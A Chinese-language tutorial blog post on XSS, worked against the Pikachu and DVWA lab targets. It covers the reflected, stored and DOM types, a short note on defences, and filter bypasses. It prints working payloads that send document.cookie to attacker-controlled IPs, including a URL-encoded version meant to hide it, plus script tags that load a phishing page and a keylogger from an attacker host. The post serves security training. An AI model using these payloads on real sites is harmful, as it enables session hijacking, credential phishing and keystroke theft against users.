XSS攻击

XSS攻击

1. XSS漏洞基本原理

XSS全称叫做跨站脚本攻击(cross site script)的缩写,因为缩写和CSS重复,所以叫XSS。XSS攻击时一个发生在前端的漏洞,是前端开发人员前端开发不严谨导致的漏洞。它的核心就是前端可以解析用户的输入为dom组件,所以用户可以输入一段JavaScript代码来对网站进行一些恶意修改。XSS的危害一般对一些访问量比较大的网站大,因为XSS并不会破坏网站,而是会对网站进行恶意修改,影响网站的用户,从而窃取信息甚至控制用户。

XSS漏洞一般可以分为三类:反射型,存储型和dom型。

反射型XSS:

反射型XSS交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。

反射型XSS的一般攻击流程为:

1.判断输入的内容会在那个位置出现

2.测试js代码会不会过滤"<script alert‘"这类字符

3.拼接测试js代码执行情况<script>alert(1)</script>
攻击url:http://192.168.0.104/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=submit

反射性XSS具体体现:

在这里插入图片描述

在这里插入图片描述

存储型XSS

存储型XSS交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。

存储型XSS攻击流程:

1.找到场景(留言板,注册)

2.找到输入的显示位置:判断输入值在那个标签位置

3.判断js代码过滤

4.输入js测试语句

在这里插入图片描述

DOM型XSS

DOM型XSS不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题, 一次性也属于反射型。

在这里插入图片描述

2.XSS漏洞利用

反射型XSS利用

我们使用反射型XSS一般可以用来获取cookie:

构造js语句 

<script>

document.location='http://192.168.0.104:8001/pkxss/xcookie/cookie.php?cookie='+document.cookie;

</script>

在这里插入图片描述

我们可以将URL编码然后去进一步加强隐蔽性:

http://192.168.134.134:8001/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.134.134%3A8001%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit

下边还有POST提交方式的使用:

我们首先伪造一个HTML页面:

在这里插入图片描述

如果用户在登录状态下点击了我们的伪装页面,我们就可以获取到它的cookie,这里我们获取登录DVWA的cookie:

在这里插入图片描述

尝试登录DVWA:

在这里插入图片描述

流程:

1.找到一个存在xss漏洞的站点
2.伪造js脚本==》url
	cookie值==>发送给攻击者服务器(192.168.44.132:8080)	
	1.接收cookie信息的页面
	2.<script>
document.location = 'http://192.168.3.88/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
操作流程:
	1.搭建好攻击者服务器
	2.pkxss/xcookie/cookie.php(重定向)==》接收cookie值
	3.伪造攻击代码
	<script>
	document.location = 'http://192.168.44.132:8080/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>

3.发给用户(192.168.3.17),用户点击

其中需要注意:

get类型url位置有攻击代码可以直接发送

post类型url位置没有攻击代码不能之间发送,需要伪造一个前端文件然后让用户点击它,从而获取cookie。

存储型XSS利用

存储型XSS一般可以用来钓鱼:

在这里插入图片描述

输入

<script src="http://192.168.0.104:8001/pkxss/xfish/fish.php">
</script>

在这里插入图片描述

结果:

在这里插入图片描述

我们还可以尝试键盘记录:

输入

<script src="http://192.168.134.134:8001/pkxss/rkeypress/rk.js">
</script>

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

结果:

在这里插入图片描述

网站钓鱼一般要先伪造一个钓鱼地点,然后将我们的攻击代码注入到页面中。

3.XSS攻击整体流程

XSS测试的流程一般如下:

1.查找可能存在的注入点(搜索框,留言板,注册)

2.观察输出显示位置:
	html:
		尖括号外部,
		尖括号内部:
			引号内部==》闭合,不能闭合(能不能执行js代码)
			引号外部:能不能构造新属性

	<script>标签内部
		引号内部=》能闭合=》直接写js代码
		引号内部=》不能闭合=》观察可不可以在页面上进行输出
		直接在标签中==》直接写js代码
        
3.判断是否有过滤

4.构造payload(结合显示位置)
        
5.获取具体的信息,比如cookie,钓鱼,键盘

4.XSS攻击的防御手段

想要防御XSS攻击,我们可以对XSS攻击使用的字符串进行严格的过滤。但是过滤一般很难做到彻底,有时候还是可以使用大小写混淆或者复写拼接来绕过这些过滤的。一般我们后端使用编码来对用户的输入进行编码解码处理,使得用户的输入没有任何实质作用,不会影响到我们的页面。

5.XSS绕过防护

XSS防护机制

在现实实战中,我们的输入往往会被过滤,造成如下结果:

在这里插入图片描述

可以大致将防护机制分为下面几种类型:

1.过滤:当检测到出现攻击的关键字时,将回收关键字并且返回错误页面(固定)

2.编码:当后端检测出关键字时,将关键字进行编码处理,使得关键字失效

3.插入:当后端检测到关键字的时候,对关键字插入特定字符使其失效

4.删除:当后端发现关键字时直接将其删除

大小写绕过

当出现关键字变形处理的时候,我们可以使用大小写绕过:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

双写绕过

当对关键字进行删除操作时,我们可以使用双写来进行绕过:

在这里插入图片描述

在这里插入图片描述

编码绕过

当后端对关键字进行编码时,我们可以通过其他方式来进行绕过:

在这里插入图片描述

在这里插入图片描述

这个就是后端疏忽没有对单引号进行实体化,导致标签可以被加属性。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值